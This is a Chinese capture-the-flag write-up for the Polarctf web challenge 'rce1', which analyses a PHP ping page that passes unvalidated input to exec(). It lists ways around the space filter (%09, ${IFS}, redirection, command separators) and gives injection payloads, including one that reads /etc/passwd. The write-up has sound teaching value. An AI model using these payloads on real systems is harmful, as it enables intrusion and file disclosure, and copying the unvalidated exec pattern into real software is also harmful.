考点:
(1)RCE(exec函数)
(2)空格绕过
(3)执行函数(exec函数)
(4)闭合(ping命令闭合)
题目来源:Polarctf-web-[rce1]

解题:
这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。
- 命令注入漏洞 (高危)
-
漏洞位置 :
$cmd = "ping -c 4 {$ip}";
和exec($cmd, $res);
-
问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:
-
使用制表符
%09
代替空格 -
使用
${IFS}
(Bash 内部字段分隔符)代替空格(本题使用这个) -
使用重定向符号
<
或>
不需要空格 -
使用
;
、&&
、||
等命令连接符
-
-
攻击示例:
php127.0.0.1;cat${IFS}/etc/passwd 127.0.0.1%0als${IFS}-l
- 输入验证不足 (中危)
- 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { # 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res); # 执行cmd命令,res用于存储命令的每一行输出
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ping</title>
</head>
<body>
<style>
html{
height:100%;
}
body{
padding: 0;
margin: 0;
background: url(1.png);
background-size: 100% 100%;
position: absolute;
}
</style>
<h1>就过滤了个空格,能拿到flag算我输</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>

用分号闭合ping命令,输入ls
,点击"Ping"查看当前目录文件


使用命令查看可疑文件,由于过滤了空格,此处使用{IFS}进行绕过:`;cat{IFS}fllllaaag.php`

点击"Ping"

成功回显,查看源码获得flag
